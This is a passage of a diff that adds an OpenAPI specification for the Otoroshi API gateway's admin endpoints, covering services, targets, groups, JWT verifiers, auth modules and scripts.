"deleteServiceTemplate", + "parameters" : [ { + "in" : "path", + "name" : "serviceId", + "required" : true, + "description" : "The service id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Deleted" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + } + }, + "/api/services/{serviceId}/targets" : { + "get" : { + "deprecated" : false, + "tags" : [ "services" ], + "summary" : "Get a service descriptor targets", + "description" : "Get a service descriptor targets", + "operationId" : "serviceTargets", + "parameters" : [ { + "in" : "path", + "name" : "serviceId", + "required" : true, + "description" : "The service id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/Target" + } + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + }, + "post" : { + "deprecated" : false, + "tags" : [ "services" ], + "summary" : "Add a target to a service descriptor", + "description" : "Add a target to a service descriptor", + "operationId" : "serviceAddTarget", + "parameters" : [ { + "in" : "path", + "name" : "serviceId", + "required" : true, + "description" : "The service id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/Target" + } + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Target" + } + } + } + } + }, + "patch" : { + "deprecated" : false, + "tags" : [ "services" ], + "summary" : "Update a service descriptor targets", + "description" : "Update a service descriptor targets", + "operationId" : "updateServiceTargets", + "parameters" : [ { + "in" : "path", + "name" : "serviceId", + "required" : true, + "description" : "The service id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/Target" + } + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Patch" + } + } + } + } + }, + "delete" : { + "deprecated" : false, + "tags" : [ "services" ], + "summary" : "Delete a service descriptor target", + "description" : "Delete a service descriptor target", + "operationId" : "serviceDeleteTarget", + "parameters" : [ { + "in" : "path", + "name" : "serviceId", + "required" : true, + "description" : "The service id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/Target" + } + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + } + }, + "/api/services/{serviceId}" : { + "get" : { + "deprecated" : false, + "tags" : [ "services" ], + "summary" : "Get a service descriptor", + "description" : "Get a service descriptor", + "operationId" : "service", + "parameters" : [ { + "in" : "path", + "name" : "serviceId", + "required" : true, + "description" : "The service id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Service" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + }, + "put" : { + "deprecated" : false, + "tags" : [ "services" ], + "summary" : "Update a service descriptor", + "description" : "Update a service descriptor", + "operationId" : "updateService", + "parameters" : [ { + "in" : "path", + "name" : "serviceId", + "required" : true, + "description" : "The service id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Service" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Service" + } + } + } + } + }, + "patch" : { + "deprecated" : false, + "tags" : [ "services" ], + "summary" : "Update a service descriptor with a diff", + "description" : "Update a service descriptor with a diff", + "operationId" : "patchService", + "parameters" : [ { + "in" : "path", + "name" : "serviceId", + "required" : true, + "description" : "The service id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Service" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Patch" + } + } + } + } + }, + "delete" : { + "deprecated" : false, + "tags" : [ "services" ], + "summary" : "Delete a service descriptor", + "description" : "Delete a service descriptor", + "operationId" : "deleteService", + "parameters" : [ { + "in" : "path", + "name" : "serviceId", + "required" : true, + "description" : "The service id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Deleted" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + } + }, + "/api/services" : { + "get" : { + "deprecated" : false, + "tags" : [ "services" ], + "summary" : "Get all services", + "description" : "Get all services", + "operationId" : "allServices", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/Service" + } + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + }, + "post" : { + "deprecated" : false, + "tags" : [ "services" ], + "summary" : "Create a new service descriptor", + "description" : "Create a new service descriptor", + "operationId" : "createService", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Service" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Service" + } + } + } + } + } + }, + "/api/groups/{serviceGroupId}/services" : { + "get" : { + "deprecated" : false, + "tags" : [ "services" ], + "summary" : "Get all services descriptor for a group", + "description" : "Get all services descriptor for a group", + "operationId" : "serviceGroupServices", + "parameters" : [ { + "in" : "path", + "name" : "serviceGroupId", + "required" : true, + "description" : "The service group id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/ApiKey" + } + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + } + }, + "/api/groups/{serviceGroupId}" : { + "get" : { + "deprecated" : false, + "tags" : [ "groups" ], + "summary" : "Get a service group", + "description" : "Get a service group", + "operationId" : "serviceGroup", + "parameters" : [ { + "in" : "path", + "name" : "serviceGroupId", + "required" : true, + "description" : "The service group id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Group" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + }, + "put" : { + "deprecated" : false, + "tags" : [ "groups" ], + "summary" : "Update a service group", + "description" : "Update a service group", + "operationId" : "updateGroup", + "parameters" : [ { + "in" : "path", + "name" : "serviceGroupId", + "required" : true, + "description" : "The service group id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Group" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Group" + } + } + } + } + }, + "patch" : { + "deprecated" : false, + "tags" : [ "groups" ], + "summary" : "Update a service group with a diff", + "description" : "Update a service group with a diff", + "operationId" : "patchGroup", + "parameters" : [ { + "in" : "path", + "name" : "serviceGroupId", + "required" : true, + "description" : "The service group id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Group" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Patch" + } + } + } + } + }, + "delete" : { + "deprecated" : false, + "tags" : [ "groups" ], + "summary" : "Delete a service group", + "description" : "Delete a service group", + "operationId" : "deleteGroup", + "parameters" : [ { + "in" : "path", + "name" : "serviceGroupId", + "required" : true, + "description" : "The service group id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Deleted" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + } + }, + "/api/groups" : { + "get" : { + "deprecated" : false, + "tags" : [ "groups" ], + "summary" : "Get all service groups", + "description" : "Get all service groups", + "operationId" : "allServiceGroups", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/Group" + } + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + }, + "post" : { + "deprecated" : false, + "tags" : [ "groups" ], + "summary" : "Create a new service group", + "description" : "Create a new service group", + "operationId" : "createGroup", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Group" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Group" + } + } + } + } + } + }, + "/api/verifiers" : { + "get" : { + "deprecated" : false, + "tags" : [ "jwt-verifiers" ], + "summary" : "Get all global JWT verifiers", + "description" : "Get all global JWT verifiers", + "operationId" : "findAllGlobalJwtVerifiers", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/GlobalJwtVerifier" + } + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + }, + "post" : { + "deprecated" : false, + "tags" : [ "jwt-verifiers" ], + "summary" : "Create one global JWT verifiers", + "description" : "Create one global JWT verifiers", + "operationId" : "createGlobalJwtVerifier", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/GlobalJwtVerifier" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/GlobalJwtVerifier" + } + } + } + } + } + }, + "/api/verifiers/{verifierId}" : { + "get" : { + "deprecated" : false, + "tags" : [ "jwt-verifiers" ], + "summary" : "Get one global JWT verifiers", + "description" : "Get one global JWT verifiers", + "operationId" : "findGlobalJwtVerifiersById", + "parameters" : [ { + "in" : "path", + "name" : "verifierId", + "required" : true, + "description" : "The jwt verifier id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/GlobalJwtVerifier" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + }, + "delete" : { + "deprecated" : false, + "tags" : [ "jwt-verifiers" ], + "summary" : "Delete one global JWT verifiers", + "description" : "Delete one global JWT verifiers", + "operationId" : "deleteGlobalJwtVerifier", + "parameters" : [ { + "in" : "path", + "name" : "verifierId", + "required" : true, + "description" : "The jwt verifier id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Deleted" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + }, + "put" : { + "deprecated" : false, + "tags" : [ "jwt-verifiers" ], + "summary" : "Update one global JWT verifiers", + "description" : "Update one global JWT verifiers", + "operationId" : "updateGlobalJwtVerifier", + "parameters" : [ { + "in" : "path", + "name" : "verifierId", + "required" : true, + "description" : "The jwt verifier id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/GlobalJwtVerifier" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/GlobalJwtVerifier" + } + } + } + } + }, + "patch" : { + "deprecated" : false, + "tags" : [ "jwt-verifiers" ], + "summary" : "Update one global JWT verifiers", + "description" : "Update one global JWT verifiers", + "operationId" : "patchGlobalJwtVerifier", + "parameters" : [ { + "in" : "path", + "name" : "verifierId", + "required" : true, + "description" : "The jwt verifier id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/GlobalJwtVerifier" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Patch" + } + } + } + } + } + }, + "/api/auths" : { + "get" : { + "deprecated" : false, + "tags" : [ "auth-config" ], + "summary" : "Get all global auth. module configs", + "description" : "Get all global auth. module configs", + "operationId" : "findAllGlobalAuthModules", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "oneOf" : [ { + "$ref" : "#/components/schemas/LdapAuthModuleConfig" + }, { + "$ref" : "#/components/schemas/InMemoryAuthModuleConfig" + }, { + "$ref" : "#/components/schemas/GenericOauth2ModuleConfig" + } ] + } + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + }, + "post" : { + "deprecated" : false, + "tags" : [ "auth-config" ], + "summary" : "Create one global auth. module config", + "description" : "Create one global auth. module config", + "operationId" : "createGlobalAuthModule", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "oneOf" : [ { + "$ref" : "#/components/schemas/LdapAuthModuleConfig" + }, { + "$ref" : "#/components/schemas/InMemoryAuthModuleConfig" + }, { + "$ref" : "#/components/schemas/GenericOauth2ModuleConfig" + } ] + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "oneOf" : [ { + "$ref" : "#/components/schemas/LdapAuthModuleConfig" + }, { + "$ref" : "#/components/schemas/InMemoryAuthModuleConfig" + }, { + "$ref" : "#/components/schemas/GenericOauth2ModuleConfig" + } ] + } + } + } + } + } + }, + "/api/auths/{id}" : { + "get" : { + "deprecated" : false, + "tags" : [ "auth-config" ], + "summary" : "Get one global auth. module configs", + "description" : "Get one global auth. module configs", + "operationId" : "findGlobalAuthModuleById", + "parameters" : [ { + "in" : "path", + "name" : "id", + "required" : true, + "description" : "The auth. config id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "oneOf" : [ { + "$ref" : "#/components/schemas/LdapAuthModuleConfig" + }, { + "$ref" : "#/components/schemas/InMemoryAuthModuleConfig" + }, { + "$ref" : "#/components/schemas/GenericOauth2ModuleConfig" + } ] + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + }, + "delete" : { + "deprecated" : false, + "tags" : [ "auth-config" ], + "summary" : "Delete one global auth. module config", + "description" : "Delete one global auth. module config", + "operationId" : "deleteGlobalAuthModule", + "parameters" : [ { + "in" : "path", + "name" : "id", + "required" : true, + "description" : "The auth. config id id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Deleted" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + }, + "put" : { + "deprecated" : false, + "tags" : [ "auth-config" ], + "summary" : "Update one global auth. module config", + "description" : "Update one global auth. module config", + "operationId" : "updateGlobalAuthModule", + "parameters" : [ { + "in" : "path", + "name" : "id", + "required" : true, + "description" : "The auth. config id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "oneOf" : [ { + "$ref" : "#/components/schemas/LdapAuthModuleConfig" + }, { + "$ref" : "#/components/schemas/InMemoryAuthModuleConfig" + }, { + "$ref" : "#/components/schemas/GenericOauth2ModuleConfig" + } ] + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "oneOf" : [ { + "$ref" : "#/components/schemas/LdapAuthModuleConfig" + }, { + "$ref" : "#/components/schemas/InMemoryAuthModuleConfig" + }, { + "$ref" : "#/components/schemas/GenericOauth2ModuleConfig" + } ] + } + } + } + } + }, + "patch" : { + "deprecated" : false, + "tags" : [ "auth-config" ], + "summary" : "Update one global auth. module config", + "description" : "Update one global auth. module config", + "operationId" : "patchGlobalAuthModule", + "parameters" : [ { + "in" : "path", + "name" : "id", + "required" : true, + "description" : "The auth. config id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "oneOf" : [ { + "$ref" : "#/components/schemas/LdapAuthModuleConfig" + }, { + "$ref" : "#/components/schemas/InMemoryAuthModuleConfig" + }, { + "$ref" : "#/components/schemas/GenericOauth2ModuleConfig" + } ] + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Patch" + } + } + } + } + } + }, + "/api/scripts/_compile" : { + "post" : { + "deprecated" : false, + "tags" : [ "scripts" ], + "summary" : "Compile a script", + "description" : "Compile a script", + "operationId" : "compileScript", + "parameters" : [ ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ScriptCompilationResult" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Script" + } + } + } + } + } + }, + "/api/scripts/{scriptId}" : { + "get" : { + "deprecated" : false, + "tags" : [ "scripts" ], + "summary" : "Get a script", + "description" : "Get a script", + "operationId" : "findScriptById", + "parameters" : [ { + "in" : "path", + "name" : "scriptId", + "required" : true, + "description" : "The script id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Script" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ] + }, + "put" : { + "deprecated" : false, + "tags" : [ "scripts" ], + "summary" : "Update a script", + "description" : "Update a script", + "operationId" : "updateScript", + "parameters" : [ { + "in" : "path", + "name" : "scriptId", + "required" : true, + "description" : "The script id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Script" + } + } + } + } + }, + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "requestBody" : { + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/Script" + } + } + } + } + }, + "patch" : { + "deprecated" : false, + "tags" : [ "scripts" ], + "summary" : "Update a script with a diff", + "description" : "Update a script with a diff", + "operationId" : "patchScript", + "parameters" : [ { + "in" : "path", + "name" : "scriptId", + "required" : true, + "description" : "The script id", + "schema" : { + "type" : "string" + } + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed with 'Otoroshi-Client-Id' and 'Otoroshi-Client-Secret' headers, or use basic http authentication" + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue :)" + }, + "404" : { + "description" : "Resource not found or does not exist" + }, + "200" : { + "description" : "Successful operation", + "content" : { + 